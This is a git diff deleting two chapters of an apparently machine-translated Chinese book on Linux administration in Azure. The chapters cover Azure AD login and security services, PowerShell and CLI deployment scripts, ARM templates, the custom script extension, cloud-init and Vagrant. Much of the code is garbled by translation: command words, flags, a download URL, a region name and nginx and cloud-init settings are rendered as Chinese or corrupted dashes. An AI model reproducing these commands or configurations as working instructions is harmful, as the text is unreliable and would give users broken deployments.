-在这里,您可以在订阅级别**—scope /subscriptions/<订阅 ID>**设置范围。 通过这样做,角色将由订阅中的所有资源继承。 - -如果你想要对特定的虚拟机进行粒度级访问,你可以执行以下命令(在 PowerShell 中): - -$vm = Get-AzVM -Name-ResourceGroup - -**$vm。 Id**将给出虚拟机的范围。 - -在 bash 中执行如下命令: - -az vm show——name——resource-group——查询 id - -该命令将查询虚拟机的 ID,并且是角色分配的范围。 - -您可以使用您的广告凭证登录: - -ssh@@ - -最后,您将能够看到使用 Azure AD 凭据登录到 Linux VM。 - -### Azure 中的其他安全解决方案 - -在本章中,我们讨论了如何提高 Linux 的安全级别,并结合某些 Azure 服务来提高安全性。 话虽如此,可用于提高安全性的 Azure 服务的列表非常长。 其中一些在这里突出显示: - -* Azure 广告管理身份:使用这个,您可以创建 vm 管理身份,可用于验证任何支持 Azure 服务广告认证(https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview)。 以前,这个服务被称为**托管服务身份**(**MSI**),现在称为**Azure 资源的托管身份**。 -* 密钥库:这可以用来安全地存储密钥。 例如,在 Azure Disk Encryption 中,密钥将存储在密钥库中,并在需要时访问([https://docs.microsoft.com/en-us/azure/key-vault/basic-concepts](https://docs.microsoft.com/en-us/azure/key-vault/basic-concepts))。 -* Azure 磁盘加密:加密将帮助您加密操作系统磁盘,以及数据磁盘,有额外的安全数据存储(https://docs.microsoft.com/en-us/azure/virtual-machines/linux/disk-encryption-overview)。 -* RBAC: Azure 中的 RBAC 提供了为 vm 分配粒度权限的能力。 Azure 中有很多内置的角色,您可以根据您的安全需求分配一个角色。 此外,您可以创建自定义 RBAC 角色,以提供更细粒度的权限([https://docs.microsoft.com/en-us/azure/role-based-access-control/overview](https://docs.microsoft.com/en-us/azure/role-based-access-control/overview))。 -* **Azure 安全中心**(**ASC): ASC 是一个统一的基础设施安全管理系统旨在巩固您的安全(https://docs.microsoft.com/en-us/azure/security-center/security-center-intro)。** -* Azure Policy Guest 配置:这可以用于审计 Linux 虚拟机内部的设置。 已在*第 8 章*、*探索连续配置自动化*中详细讨论。 - -我们建议您仔细阅读与这些服务相关的 Microsoft 文档,以便更好地了解如何在您的环境中使用这些服务来加强整体安全性方面。 - -## 总结 - -安全是当今一个非常重要的话题。 关于这个问题已经写了许多报告、书籍等。 在本章中,我们讨论了 Linux 中提高安全性的几种选项。 所有这些都是在 Azure 通过网络安全小组提供的基本安全之上的。 它们相对容易实现,并且会带来很大的不同! - -集中式身份管理不仅是为用户提供访问 VM 的一种方式,而且也是降低安全风险的一部分。 Azure AD 域服务通过 LDAP 和 Kerberos 为所有支持这些协议的操作系统和应用提供身份管理解决方案。 - -第 8 章,探索连续配置自动化,将涵盖自动化和编排。 请注意,本章中涉及的所有安全措施都可以很容易地协调。 编制使中央配置管理成为可能。 它的一大优点是防止错误和难以管理的配置。 这样,即使编制也是您的安全计划的一部分! - -如果要创建自己的 vm,尤其是要构建自己的映像,那就更好了。 我们将在下一章讨论如何构建自己的映像。 此外,我们还将考虑在您的环境中推送和部署这些映像时的安全性问题。 - -## 问题 - -1. 如果你要实现防火墙,配置防火墙的方法有哪些? -2. 为什么要使用**firewall-cmd**的**——permanent**参数? -3. 还有哪些其他选项可以用来限制网络访问? -4. 解释 DAC 和 MAC 之间的区别。 -5. 为什么在 Azure 上运行的虚拟机中使用 Linux 安全模块很重要? -6. 哪个 MAC 系统可用于哪个发行版? -7. AppArmor 和 SELinux 的主要区别是什么? -8. 在依赖关系和 Linux 配置方面,加入 Azure AD 域服务有哪些要求? - -## 进一步阅读 - -类似于前一章,我强烈建议你去*第 11 章*,*工作负载的故障诊断和监测,读到日志在 Linux 中,因为通常,**systemctl 状态**命令不提供足够的信息。 我还提到了 Lennart Poettering 的博客和 systemd 网站。* - - *对于一般的 Linux 安全,你可以开始阅读这本书*掌握 Linux 安全与加固*,作者是 Donald A. Tevault。 本章所涵盖的许多主题,以及其他许多主题,都作了详细的解释。 - -防火墙守护进程有一个项目网站[https://firewalld.org](https://firewalld.org),其中有一个博客和优秀的文档。 对于较老的发行版,Arch Linux 的 wiki 是了解更多内容的好地方:[https://wiki.archlinux.org/index.php/iptables](https://wiki.archlinux.org/index.php/iptables)。 而且由于防火墙使用 iptables,在深入探究**防火墙的手册页之前,这是一个很好的开始。 【课文讲解】** - -所有的细节关于 SELinux 红帽提供的指南:https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/selinux_users_and_administrators_guide/和[虽然有点过时了,这是一个很好的主意的 Red Hat 峰会看这个视频在 YouTube 上关于 SELinux:](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/selinux_users_and_administrators_guide/) [https://www.youtube.com/watch?v=MxjenQ31b70](https://www.youtube.com/watch?v=MxjenQ31b70)。 - -然而,要找到关于 AppArmor 的好信息就更困难了。 项目文档可以在[https://gitlab.com/apparmor/apparmor/wikis/Documentation](https://gitlab.com/apparmor/apparmor/wikis/Documentation)上找到,Ubuntu 服务器指南是一个很好的开始。 可以在[https://help.ubuntu.com/lts/serverguide/apparmor.html.en](https://help.ubuntu.com/lts/serverguide/apparmor.html.en)上找到。***************** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/07.md b/docs/handson-linux-admin-azure/07.md deleted file mode 100644 index f5ac84b2..00000000 --- a/docs/handson-linux-admin-azure/07.md +++ /dev/null @@ -1,1397 +0,0 @@ -# 七、部署你的虚拟机 - -在 Azure 中部署单个**虚拟机**(**VM**)很容易,但是一旦您想要以单一的、可重复的方式部署更多的工作负载,您就需要某种类型的自动化。 - -在 Azure 中,您可以使用**Azure 资源管理器**(**ARM**)与 Azure CLI、PowerShell、Ruby 和 c#一起使用模板配置文件部署虚拟机。 其他用于为 vm 创建映像的第三方工具,如 Packer 和 Vagrant,将在本章后面讨论。 - -所有这些部署方法或映像创建方法都使用来自 Azure 的映像,但也可以使用自定义映像创建自己的自定义 vm。 - -在开始配置所有可能的选项之前,一定要了解不同的部署选项,以及为什么应该或不应该使用它们。 你必须先问自己几个问题: - -* 您打算什么时候部署应用? -* 工作负载的哪些部分应该是可重复的? -* 工作负载配置的哪些部分应该在部署期间完成? - -所有这些问题将在本章结束时得到解答。 以下是本章的要点: - -* 我们将讨论 Azure 中的自动部署选项。 -* 我们将看到如何使用 Azure CLI 和 PowerShell 来自动化部署。 -* 我们将介绍用于部署的 Azure ARM 模板,以及如何在重新部署时重用它们。 -* 将讨论 VM 映像创建工具,如 Packer 和 Vagrant。 -* 最后,我们将解释如何使用自定义映像,并将我们自己的**VHD**(**虚拟硬盘**)带到 Azure。 - -## 部署场景 - -引言中提到的三个问题是非常重要的; 这些在每个公司、每个应用和开发阶段都是不同的。 下面是一些部署场景的示例: - -* 应用是在内部开发的,甚至可以在您的本地计算机上开发。 一旦完成,应用就被部署到 Azure 中。 更新将应用于正在运行的工作负载。 -* 这是相同的场景,但是现在更新将通过部署一个新的 VM 来完成。 -* 应用由另一个供应商交付。 - -这三个示例非常常见,可以影响您希望部署工作负载的方式。 - -### 你需要什么? - -在开始部署之前,您应该知道需要什么,或者换句话说,需要哪些资源才能使应用正常工作。 此外,Azure 中的所有东西都有限制和配额。 有些限制是困难的,有些可以通过联系微软支持来增加。 要查看 Azure 限制和配额的完整列表,请访问[https://docs.microsoft.com/en-us/azure/azure-subscription-service-limits](https://docs.microsoft.com/en-us/azure/azure-subscription-service-limits)。 - -在部署之前,我们需要计划并确保我们的订阅限制不会阻碍我们的项目。 如果有限制,请联系微软支持部门并增加限额。 然而,如果您是免费试用,配额请求将不会被批准。 您可能必须将部署转移到有足够配额来完成部署的区域。 这些是我们将要部署的关键资源: - -* 资源组 -* 存储帐户(非托管)或托管磁盘 -* 网络安全组 -* 虚拟网络 -* 用于虚拟网络的子网 -* 虚拟机绑定的网口 - -对于虚拟机,您需要指定并考虑以下几点: - -* 虚拟机大小 -* 存储 -* VM 的扩展 -* 操作系统 -* 初始配置 -* 应用的部署 - -如果您查看这些列表,您可能想知道是否需要或需要自动部署或自动化。 答案并不容易找到。 让我们再看一遍这些场景,试着找出答案。 我们可以决定做以下事情: - -1. 在 PowerShell 或 Bash 中创建一个脚本,为工作负载准备 Azure 环境 -2. 创建第二个脚本,根据 Azure 中的报价部署 VM,并使用 Azure VM 扩展配置初始配置 -3. 使用软件管理器(如 Yum)部署应用 - -决定这样做并没有什么错; 这对你来说可能是最好的解决办法! 然而,不管你喜欢与否,有以下依赖: - -* 您可以基于映像部署操作系统。 此图像由发布者提供。 如果映像更新到您的应用不支持的版本,会发生什么情况? -* 这个映像中已经完成了多少初始配置? 需要多少钱,谁控制图像? -* 这个图像是否符合您的安全策略? -* 如果你出于某种原因想离开 Azure,你能把你的应用转移到其他地方吗? - -## Azure 中的自动部署选项 - -在这篇长时间的介绍之后,是时候看看可以自动部署工作负载的特性选项了: - -* 脚本 -* Azure 资源管理器 -* Ansible -* 起程拓殖 - -我们将在*第八章,探索连续配置自动化*中讨论 Ansible 和 Terraform。 - -### 脚本 - -自动化可以通过脚本完成。 在 Azure 中,微软支持很多选项: - -* Bash 与 Azure CLI -* PowerShell 与 Az 模块 -* Python,包含完整的 SDK 在[https://docs.microsoft.com/en-us/azure/python/python-sdk-azure-install](https://docs.microsoft.com/en-us/azure/python/python-sdk-azure-install ) -* [https://azure.microsoft.com/en-us/develop/ruby](https://azure.microsoft.com/en-us/develop/ruby ) -* [https://github.com/Azure/azure-sdk-for-go](https://github.com/Azure/azure-sdk-for-go )提供完整的 SDK -* Node.js 也有可用的库 - -此外,您还可以使用 Java 和 c#等编程语言。 还有社区项目; 例如,[https://github.com/capside/azure-sdk-perl](https://github.com/capside/azure-sdk-perl)是为 Perl 构建一个完整的 Azure SDK 的尝试。 - -所有语言都是有效的选项; 选择一门你已经熟悉的语言。 请注意,在本书编写时,Ruby SDK 是预览版。 在预览状态期间,语法可能会发生变化。 - -编写脚本对于准备 Azure 环境尤其有用。 您还可以使用脚本来部署 VM,甚至可以使用 VM 扩展包含初始配置。 这是否是一个好主意的问题取决于您的脚本编写能力、操作系统的基本映像以及其中安装的软件版本。 - -反对使用脚本的最大理由是编写脚本非常耗时。 这里有一些技巧可以帮助你高效地编写脚本: - -* 使用尽可能多的变量。 这样,如果您要在脚本中进行更改,您所要做的就是更改变量的值。 -* 在循环中使用可识别的变量名,而不是像中的**那样为 i 命名。** -* 特别是对于较大的脚本,声明可以重用的函数。 -* 有时,将变量(例如提供身份验证的变量)和函数放在单独的文件中是有意义的。 每个脚本一个任务通常是一个好主意。 -* 在代码中包含修改的时间戳,或者更好的方法是使用版本控制系统,如 Git。 -* 包括测试。 例如,只在这个资源不存在的情况下创建它。 使用人类可读的退出代码。 如果脚本未能部署资源,则使用类似*无法创建$资源*的内容,以便运行脚本的人能够理解脚本未能创建资源。 -* 包括足够的注释。 如果您在一段时间后需要调试或重用脚本,您仍然知道它是做什么的。 不要忘记在标题中也包含一个描述。 -* 花些时间在布局上; 使用缩进来保持代码的可读性。 缩进使用两个空格,而不是制表符! - -现在我们来看一个简短的例子。 这个示例将让您了解如何创建脚本,以便在部署 VM 之前在 Azure 中提供所需的东西。 - -首先,声明变量。 您还可以将这些变量添加到文件中,并让 PowerShell 加载这些变量。 建议将它们存储在同一个脚本中,这样你就可以在需要时随时返回并更新它们: - -#声明变量 - -$myResourceGroup = "LinuxOnAzure" - -$myLocation = "西欧" - -$myNSG = "NSG_LinuxOnAzure" - -$mySubnet = "10.0.0.0/24" - -$myVnet= "VNET_LinuxOnAzure" - -接下来,编写一个脚本来创建一个资源组。 如果资源已经存在,脚本将跳过创建部分。 正如前面提到的,添加注释是使脚本可读的最佳实践,所以使用标记为**#**的注释,以便您了解代码块的功能: - -#测试资源组是否已经存在,如果不存在:创建它。 - -Get-AzResourceGroup -Name $myResourceGroup -ErrorVariable notPresent -ErrorAction SilentlyContinue | out-null - -如果($ notPresent) - -  { - -# ResourceGroup 不存在,创建它: - -New-AzResourceGroup -Name $myResourceGroup -Location $myLocation - -写主机“资源组$myResourceGroup 是在$myLocation 创建的” - -  }   - -其他的 - -  { - -“资源组$myResourceGroup 已经存在于位置$myLocation 中” - -  } - -创建虚拟网络并配置子网: - -#测试 vnet 名称是否已经存在: - -Get-AzVirtualNetwork -Name $myVnet -ResourceGroupName $myResourceGroup -ErrorVariable notPresent -ErrorAction SilentlyContinue | out-null - -如果($ notPresent) - -  { - -# vnet 不存在,创建 vnet - -$virtualNetwork = New-AzVirtualNetwork -ResourceGroupName $myResourceGroup -Location $myLocation -Name $myVnet -AddressPrefix 10.0.0.0/16 - -#添加子网配置 - -$subnetConfig = Add-AzVirtualNetworkSubnetConfig -Name default -AddressPrefix $mySubnet -VirtualNetwork $virtualNetwork - -#关联子网到虚拟网络 - -美元 virtualNetwork | Set-AzVirtualNetwork - -“配置了$mySubnet 的虚拟网络$myVnet 是在$myLocation 创建的” - -  } - -其他的 - -  { - -“资源组$myVnet 已经存在于$myLocation 中” - -  } - -下面是创建网络安全组的示例: - -创建 NSG - -#测试网络安全组是否不存在: - -Get-AzNetworkSecurityGroup -ResourceGroupName $myResourceGroup -Name $myNSG -ErrorVariable notPresent -ErrorAction SilentlyContinue | out-null - -如果($ notPresent) - -{ - -#创建核供应国集团 - -$nsg = New-AzNetworkSecurityGroup -ResourceGroupName $myResourceGroup -Location $myLocation -Name $myNSG - -#为 SSH 和 HTTP 创建规则 - -$nsg | Add-AzNetworkSecurityRuleConfig -Name "allow_http" -Description "允许 HTTP" -访问允许" - --Protocol "TCP" -Direction Inbound -Priority 1002 - sourceaddresprefix "*" -SourcePortRange * ' - -- destinationaddresprefix * -DestinationPortRange 80 - -$nsg | Add-AzNetworkSecurityRuleConfig -Name "allow_ssh" -Description "Allow SSH" -Access Allow " - --Protocol "TCP" -Direction Inbound -Priority 1001 -SourceAddressPrefix "*" -SourcePortRange * ' - -    -DestinationAddressPrefix * -DestinationPortRange 22 - -#更新核供应国集团。 - -美元 nsg | Set-AzNetworkSecurityGroup - -“NSG: $myNSG 被配置为在资源组$myResourceGroup 中创建 SSH 和 HTTP 规则” - -} - -其他的 - -{ - -“NSG $myNSG 已经存在于资源组$myResourceGroup 中” - -} - -到目前为止,您应该对如何创建脚本和虚拟网络有了相当好的了解。 正如本节开始时提到的,脚本并不是自动化部署的唯一手段; 还有其他方法。 在下一节中,我们将讨论如何使用 Azure Resource Manager 模板来自动化部署。 - -### Azure 资源管理器自动部署 - -在*第二章:Azure 云入门*中,我们定义**Azure 资源管理器**(**ARM**)如下: - -*“基本上,Azure 资源管理器允许您使用存储和虚拟机等资源。 为此,您必须创建一个或多个资源组,以便在单个操作中执行生命周期操作,例如部署、更新和删除资源组中的所有资源。”* - -通过 Azure 门户或使用脚本,您可以完成所有声明的事情。 但这只是其中的一小部分。 您可以使用模板通过 ARM 部署 Azure 资源。 微软提供了数百个快速启动模板,可以在[https://azure.microsoft.com/en-us/resources/templates](https://azure.microsoft.com/en-us/resources/templates )上找到。 - -当您通过 Azure 门户创建 VM 时,您甚至可以在创建 VM 之前将其作为模板下载。 如果你参考下面的截图,你可以看到,甚至在创建虚拟机之前,我们有一个选项来下载自动化的模板: - -![Navigating within the Dashboard to create and download VM as a template](img/B15455_07_01.jpg) - -###### 图 7.1:下载 VM 作为模板 - -点击**下载自动化模板**,会看到如下画面: - -![Adding script to the library within the template pane](img/B15455_07_02.jpg) - -###### 图 7.2:虚拟机模板窗格 - -如您所见,您可以将该脚本添加到 Azure 中的库中,或者将该文件下载到本地计算机中。 您还将获得一个**Deploy**选项,通过该选项,您可以更改参数并直接部署到 Azure。 - -在**Scripts**窗格中,Azure 提供了如何使用 PowerShell 和 CLI 进行部署的链接。 - -您可以轻松地更改参数并部署一个新的 VM 或重新部署完全相同的 VM。 这与使用您自己的脚本并没有什么不同,但在开发方面它更节省时间。 - -这不是你能用 ARM 做的唯一事情; 您可以配置 Azure 资源的每个方面。 例如,如果您正在通过 ARM 模板部署一个网络安全组,那么您需要定义一切,比如规则、端口范围和规则的优先级,这与您在 Azure 门户或通过 CLI 创建的方式相同。 创建自己的 ARM 模板并不是那么困难。 你需要 ARM 参考指南,可以在[https://docs.microsoft.com/en-us/azure/templates](https://docs.microsoft.com/en-us/azure/templates)找到。 结合这些示例,这是一个很好的入门资源。 - -另一种开始的方法是使用 Visual Studio Code 编辑器,它可用于 Windows、Linux 和 macOS 的[https://code.visualstudio.com](https://code.visualstudio.com)。 **Azure 资源管理器工具**扩展是必备的,如果你要开始使用手臂,连同其他一些扩展,比如**Azure 账户和登录**,**【T7 Azure 资源管理器片段】,**和【显示】Azure CLI 工具。 您可以开始使用现有的模板,甚至可以将它们上传到 Cloud Shell、执行和调试它们。 - -要安装 Azure 资源管理器工具扩展,请遵循以下步骤: - -1. 打开 Visual Studio 代码。 -2. 从左侧菜单中选择**Extensions**。 或者,在**View**菜单中,选择**Extensions**打开**Extensions**窗格。 -3. 搜索**资源管理器**。 -4. 在**Azure Resource Manager Tools**下选择**Install**。 - -这里是您找到的屏幕上的**安装**选项: - -![Navigating on Visual Studio Code for installing Azure Resource Manager Tools](img/B15455_07_03.jpg) - -###### 图 7.3:安装 Azure 资源管理器工具 - -Azure 中另一个很好的特性是 ARM Visualizer,您可以在[http://armviz.io](http://armviz.io)找到它。 它仍处于发展的早期阶段。 这是一个工具,可以帮助您快速了解您从快速入门模板网站下载的 ARM 模板的用途。 - -除了下载模板,还可以将它们保存到一个库中: - -![Saving templates to the library using ARM Visualizer](img/B15455_07_04.jpg) - -###### 图 7.4:将模板保存到库 - -如本窗格所述,您可以通过使用左侧导航栏中的**所有资源**轻松地在 Azure 门户中导航,并搜索模板: - -![Navigating to the templates on the Azure portal](img/B15455_07_05.jpg) - -###### 图 7.5:导航到 Azure 门户上的模板 - -你仍然可以在这里编辑你的模板! 另一个很好的特性是,您可以与租户的其他用户共享模板。 这非常有用,因为您可以创建一个只允许使用此模板进行部署的用户。 - -现在我们知道了如何从 Azure 门户部署模板,让我们看看如何使用 PowerShell 和 Bash 部署 ARM 模板。 - -### 使用 PowerShell 部署 ARM 模板 - -首先,要验证模板格式是否正确,执行以下命令: - -Test-AzResourceGroupDeployment -ResourceGroupName ExampleResourceGroup' -TemplateFile c:\MyTemplates\azuredeploy。 json 的 - --TemplateParameterFile c: \ MyTemplates \ storage.parameters.json - -然后继续部署: - -New-AzResourceGroupDeployment -Name-ResourceGroupName-TemplateFile c:\MyTemplates\azuredeploy.json - --TemplateParameterFile c: \ MyTemplates \ storage.parameters.json - -### 使用 Bash 部署 ARM 模板 - -你也可以在部署之前验证你的模板和参数文件,以避免任何意外的错误: - -Az 组部署验证\ - -——资源组 ResourceGroupName \ - -——模板文件模板。 json \ - -——参数 parameters.json - -如果需要部署,请执行如下命令: - -Az 组部署 create \ - -——名字 DeploymentName \ - -——资源组 ResourceGroupName \ - -——模板文件模板。 json \ - -——参数 parameters.json - -现在我们已经部署了一个新的 VM,我们可以保留**模板。 json**和**参数。 json**,可以通过更改变量值来重用。 - -假设我们已经删除了 VM,您希望重新部署它。 您所需要的只是 JSON 文件。 如前所述,如果你已经将模板存储在 Azure 中,你可以找到一个选项来在那里重新部署: - -![Redeploying the VM using the JSON files](img/B15455_07_06.jpg) - -###### 图 7.6:使用 JSON 文件重新部署 VM - -如果您更喜欢通过 Azure CLI 或 PowerShell 来完成相同的任务,那么运行我们之前使用的命令,您的 VM 就会按照 ARM 模板中提到的配置做好准备。 - -## 初始配置 - -在部署工作负载之后,需要进行部署后配置。 如果你想把这作为你的自动化解决方案的一部分,那么有两个选择: - -* 自定义脚本扩展,可以在部署之后的任何时候使用。 -* **cloud-init**在引导期间可用。 - -### 初始化配置与自定义脚本扩展 - -部署 VM 之后,可以使用自定义脚本扩展执行部署后脚本。 在前面的示例中,我们使用 ARM 模板部署 VM。 如果您想在部署后运行脚本,该怎么办? 这是自定义脚本扩展的角色。 例如,让我们假设您想要部署一个 VM,并且在部署之后,您想在不登录 VM 的情况下在 VM 上安装 Apache。 在本例中,我们将编写一个脚本来安装 Apache, Apache 将在部署后使用自定义脚本扩展进行安装。 - -这个扩展将工作在所有微软认可的 Linux 操作系统,除了 CoreOS 和 OpenSUSE LEAP。 如果您使用的是 Debian 或 Ubuntu 以外的发行版,请将脚本中的**apt-get**命令更改为您发行版支持的软件管理器。 - -你可以使用 PowerShell 来配置扩展: - -$myResourceGroup = "" - -myLocation 美元= - -myVM 美元= - -$Settings = @{"commandToExecute" = "apt-get -y install nginx";}; - -Set-AzVMExtension -VMName $myVM ' - --ResourceGroupName myResourceGroup 美元” - -位置 myLocation 美元” - --Name "CustomscriptLinux" -ExtensionType "CustomScript" ' - -出版商”Microsoft.Azure。 扩展” - --typeHandlerVersion "2.0" -InformationAction SilentlyContinue ' - -美元- verbose 设置设置 - -PowerShell 输出将在配置之后给您提供状态,即,它是正常的还是出错了。 运行脚本后,可在虚拟机的日志中查看安装是否成功。 因为我们是在 Ubuntu 虚拟机上执行这个操作,你可以通过检查**/var/log/apt/history.log**文件来验证 nginx 的安装。 输出确认 nginx 和所有其他依赖已经安装: - -![Checking logs to verify nginx installation](img/B15455_07_07.jpg) - -###### 图 7.7:检查日志以验证 nginx 安装 - -除了命令,您还可以提供脚本。 - -让我们创建一个非常简单的脚本: - -#!/bin/sh - -安装 nginx 防火墙 - -firewall-cmd——添加服务= http - -firewall-cmd——添加服务= http 永久性的 - -现在,脚本必须使用**base64**命令进行编码。 您可以在任何 Linux VM 上执行此操作,也可以使用**WSL**(**Windows 子系统 for Linux**)来创建**base64**字符串: - -猫 nginx.sh | base64 - -#### 请注意 - -在某些版本的 base64 上,您必须添加**-w0**参数来禁用换行。 只要确保它是一行! - -**$Settings**变量如下: - -$Settings = @{"script" = "";}; - -因为我们已经使用第一个脚本安装了 nginx,你可以使用**apt 清除 nginx**来删除 nginx,或者你可以一起创建一个新的 VM。 和之前一样,我们可以查看历史日志: - -![Checking the history log for nginx](img/B15455_07_08.jpg) - -###### 图 7.8:检查历史日志 - -日志清楚地显示**apt install -y nginx firewall**已经执行。 由于我们正在查看 apt 历史,因此无法确认是否添加了防火墙 HTTP 规则。 要确认,可以运行**firewall-cmd -list-services**: - -![Verifying firewalld rule](img/B15455_07_09.jpg) - -###### 图 7.9:检查是否添加了防火墙 HTTP 规则 - -如果需要,脚本可以被压缩或上传到存储 blob 中。 - -当然,您可以使用 Azure CLI 进行初始配置。 在这种情况下,你必须提供一个类似于下面这个的 JSON 文件: - -{ - -autoUpgradeMinorVersion”:true, - -"location": "", - -“名”:“CustomscriptLinux”, - -“protectedSettings”:{}, - -“provisioningState”:“Failed”, - -“发布者”:“Microsoft.Azure.Extensions”, - -"resourceGroup": "" - -"设置":{ - -“脚本”:“< base64 字符串” - -    }, - -“标签”:{}, - -“类型”:“微软。 计算/ virtualMachines /扩展”, - -“typeHandlerVersion”:“2.0”, - -“virtualMachineExtensionType”:“CustomScript” - -  } - -然后执行以下**az**命令: - -az 虚拟机扩展集——resource-group\ - -——vm-name\ - -——name customScript——publisher Microsoft.Azure.Extensions \ - -——设置。/ nginx.json - -#### 请注意 - -JSON 文件可以包含在 ARM 模板中。 - -如果您使用 PowerShell 或 Azure CLI 进行调试,那么**/var/log/azure/custom-script**目录包含您的操作日志。 - -### 使用 cloud-init 初始化配置 - -自定义 VM 扩展的一个问题是脚本可能非常特定于发行版。 您可以在示例中看到这一点。 如果使用不同的发行版,则需要多个脚本,或者必须包含发行版检查。 - -在部署 VM 之后进行一些初始化配置的另一种方法是使用 cloud-init。 - -cloud-init 是一个 Canonical 项目,创建它的目的是提供一个云解决方案和一个与 linux 发行版无关的方法来定制云映像。 在 Azure 中,它可以与映像一起使用,在第一次引导期间或在创建 VM 时准备操作系统。 - -并不是所有微软支持的 Linux 发行版都得到支持; Debian 和 SUSE 根本不受支持,而且总是需要一段时间才能使用最新版本的发行版。 - -cloud-init 可以用来运行 Linux 命令和创建文件。 在 cloud-init 中有可用的模块来配置系统,例如,安装软件或进行一些用户和组管理。 如果一个模块是可用的,那么这是最好的方法。 这不仅更容易(困难的工作是为您完成的),而且它也是不可知的分布。 - -cloud-init 使用 YAML; 请注意,缩进是重要的! 脚本的目的是安装**npm**,**nodejs**,和**nginx 包,然后配置 nginx,最后,显示一条消息,**Hello World 从主机的主机名**,在【显示】主机名**美元是虚拟机的名称。 首先,让我们创建一个包含以下内容的 YAML 文件,并将其命名为**cloudinit。 yml**: - -# cloud-config - -用户组: - -用户: - -违约 - --名称:azureuser - -——组:用户 - -  - shell: /bin/bash - -package_upgrade:真 - -包: - -  - nginx - -  - nodejs - -——npm - -write_files: - -www - data。www - data: -所有者 - --路径:/etc/nginx/sites-available /违约 - -内容:| - -服务器{ - -听 80; - -位置/ { - -           proxy_pass http://localhost: 3000; - -           proxy_http_version 1.1; - -           proxy_set_header 升级 http_upgrade 美元; - -           proxy_set_header 连接维生; - -           proxy_set_header 主机主机美元; - -           proxy_cache_bypass http_upgrade 美元; - -        } - -      } - -老板:azureuser:用户 - --路径:/home/azureuser/myapp/index.js - -内容:| - -      var express = require('express') - -var app = express() - -      var os = require('os'); - -app.get('/', function (req, res) { - -从主机 res.send(“Hello World ' + os.hostname() +“!”) - -      }) - -app.listen(3000, function () { - -console.log('Hello world app listening on port 3000!') - -      }) - -runcmd: - --系统重新启动 nginx - -- cd "/home/azureuser/myapp" - -  - npm init - -- NPM 安装 express -y - -  - nodejs index.js - -如果你查看这个配置文件,你可以使用下面的一些模块: - -* **用户**、**组**:用户管理 -* **软件包**、**package_upgrade**:软件管理 -* **write_files**:文件创建 -* **runcmd**:运行模块不支持的命令 - -还可以创建虚拟机: - -az vm create——resource-group\ - -——name——image ubuntuults \ .使用实例 - -——admin-username linuxadmin \ - -——generate-ssh-keys——定义数据 cloudinit.txt - -在部署之后,需要一段时间才能完成所有工作。 日志记录在虚拟机的**/var/log/cloud-init.log**和**/var/log/cloud-init-output.log**文件中完成。 - -修改网络安全组规则,允许端口**80**上的流量通过。 然后,打开浏览器访问虚拟机的 IP 地址。 如果一切正常,将显示如下:**Hello World from host ubuntu-web!** - -#### 请注意 - -在 Az cmdlets 中不支持 cloud-init。 - -## 流浪 - -到目前为止,我们使用的是微软提供的解决方案; 也许我们应该叫它们原生解。 这并不是在 Azure 中部署工作负载的唯一方法。 许多供应商已经创建了在 Azure 中自动部署的解决方案。 在本节中,我们将介绍一家名为 HashiCorp([https://www.hashicorp.com](https://www.hashicorp.com))的公司提供的解决方案。 在本章的后面,我们将介绍这家公司的另一种产品:包装器。 我们选择这些产品的原因有几个: - -* 我们的产品很受欢迎,知名度很高。 -* 微软和 HashiCorp 的关系非常好; 他们共同努力实现越来越多的功能。 -* 最重要的原因是:HashiCorp 有不同的产品,你可以在不同的实现场景中使用。 这将使您重新考虑在不同的用例中要选择什么方法。 - -如果您是一名开发人员,那么 Vagrant 是一种用于部署的工具。 它帮助您以一种标准化的方式设置环境,以便您可以反复重新部署。 - -### 安装配置 Vagrant - -Vagrant 可用于多个 Linux 发行版、Windows 和 macOS,可以从[https://www.vagrantup.com/downloads.html](https://www.vagrantup.com/downloads.html)下载: - -1. To install the software in Ubuntu, use the following commands: - - cd / tmp - - wget jjj 巷和巷巷 - - Sudo DPKG -i vagrant_2.1.2_x86_64.deb - - RHEL/CentOS 操作系统: - - 安装\ - - https://releases.hashicorp.com/vagrant/2.1.2/ \ - - vagrant_2.1.2_x86_64.rpm - - 如果将其部署在单独的 VM 或工作站上,请确保也安装了 Azure CLI。 - - 登录 Azure: - - az login - - 创建一个服务主体帐户,Vagrant 可以使用该帐户进行身份验证: - - Az AD sp create-for-rbac——name vagrant - - 从输出中,您需要**appID**,也称为**客户端 ID**,以及与**客户端秘密**相同的密码。 - -2. Execute the following command to get your tenant ID and subscription ID: - - 阿兹账户显示 - - 在该命令的输出中,您可以看到您的租户 ID 和订阅 ID。 - -3. Create a file with the following content and save it to **~/.azure/vagrant.sh**: - - Azure_tenant_id ="" - - Azure_subscription_id ="" - - Azure_client_id ="" - - Azure_client_secret ="" - - AZURE_TENANT_ID AZURE_SUBSCRIPTION_ID AZURE_CLIENT_ID\ - - AZURE_CLIENT_SECRET - -4. These variables must be exported before you can use Vagrant. In macOS and Linux, you can do that by executing the following command: - - 来源 - -5. An SSH key pair must be available. If this has not already been done, create a key pair with this command: - - ssh - keygen - -6. The last step involves the installation of the Azure plugin for Vagrant: - - Vagrant 插件安装 Vagrant -azure - -7. Verify the installation: - - 流浪的版本 - -![Verifying the vagrant installation using the version command](img/B15455_07_10.jpg) - -###### 图 7.10:验证流浪安装 - -现在我们已经确认 Vagrant 已经启动并运行,让我们继续使用 Vagrant 部署一个 VM。 - -### 部署 Vagrant 虚拟机 - -要使用 Vagrant 部署 VM,您需要创建一个新的工作目录,我们将在其中创建**Vagrantfile**: - -Vagrant.configure(2) |配置| - -config.vm.box = ' azure ' - -#使用本地 SSH 密钥连接到远程流浪箱 config.ssh。 private_key_path = ' ~ / . ssh / id_rsa ' - -配置 vm.provider:azure do |azure,覆盖| - -azure。 tenant_id = ENV(“AZURE_TENANT_ID”) - -azure。 client_id = ENV(“AZURE_CLIENT_ID”) - -azure。 client_secret = ENV['AZURE_CLIENT_SECRET'] azure。 subscription_id = ENV(“AZURE_SUBSCRIPTION_ID”) - -结束 - -结束 - -配置文件以一条声明开始,声明我们需要之前安装的 Vagrant 的 Azure 插件。 然后,开始配置虚拟机。 为了能够使用 Vagrant 提供工作负载,需要一个虚拟机。 它几乎是一个空文件:它只将 Azure 注册为提供商。 要获取虚拟机,请执行以下命令: - -流浪箱添加 azure-dummy\ - -  https://github.com/azure/vagrant-azure/raw/v2.0/dummy.box\ - -——供应商 azure - 